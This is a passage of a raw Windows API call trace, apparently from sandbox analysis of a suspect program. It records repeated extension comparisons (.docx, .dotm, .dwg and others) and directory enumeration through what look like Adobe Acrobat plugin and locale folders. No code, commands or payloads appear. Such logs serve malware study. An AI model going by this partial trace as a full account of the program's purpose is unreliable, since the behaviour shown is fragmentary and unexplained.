	[0173.609] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.609] lstrlenW (lpString=".docx") returned 5
	[0173.609] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.609] lstrlenW (lpString=".dot") returned 4
	[0173.609] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dotm") returned 5
	[0173.609] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.609] lstrlenW (lpString=".dotx") returned 5
	[0173.609] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.609] lstrlenW (lpString=".dpx") returned 4
	[0173.609] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dqy") returned 4
	[0173.609] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dsn") returned 4
	[0173.609] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dt") returned 3
	[0173.609] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.609] lstrlenW (lpString=".dtd") returned 4
	[0173.609] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dwg") returned 4
	[0173.609] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dwt") returned 4
	[0173.609] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.609] lstrlenW (lpString=".dx") returned 3
	[0173.609] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.610] lstrlenW (lpString=".dxf") returned 4
	[0173.610] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.610] lstrlenW (lpString=".edml") returned 5
	[0173.610] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.610] lstrlenW (lpString=".efd") returned 4
	[0173.610] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.610] lstrlenW (lpString=".elf") returned 4
	[0173.610] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.610] lstrlenW (lpString=".emf") returned 4
	[0173.610] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.610] lstrlenW (lpString=".emz") returned 4
	[0173.610] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.610] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.610] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0173.610] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.610] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.611] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.611] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.611] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.611] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.611] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.611] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0173.611] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.611] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.612] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.612] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0173.612] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0173.612] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.612] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0173.612] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.612] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.612] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.613] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0173.613] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0173.615] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1
	[0173.615] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.615] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.618] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.618] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.618] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0173.618] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.618] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.618] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.618] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.618] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.619] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.619] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.619] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.619] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.619] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.620] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.620] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.620] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.620] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.620] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.620] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.620] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.620] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.620] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.620] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.620] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.621] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.621] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.621] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.621] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.621] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.621] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.621] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.621] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.621] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.621] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.621] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0173.622] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.622] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.622] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.622] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.622] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.622] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.622] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.622] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
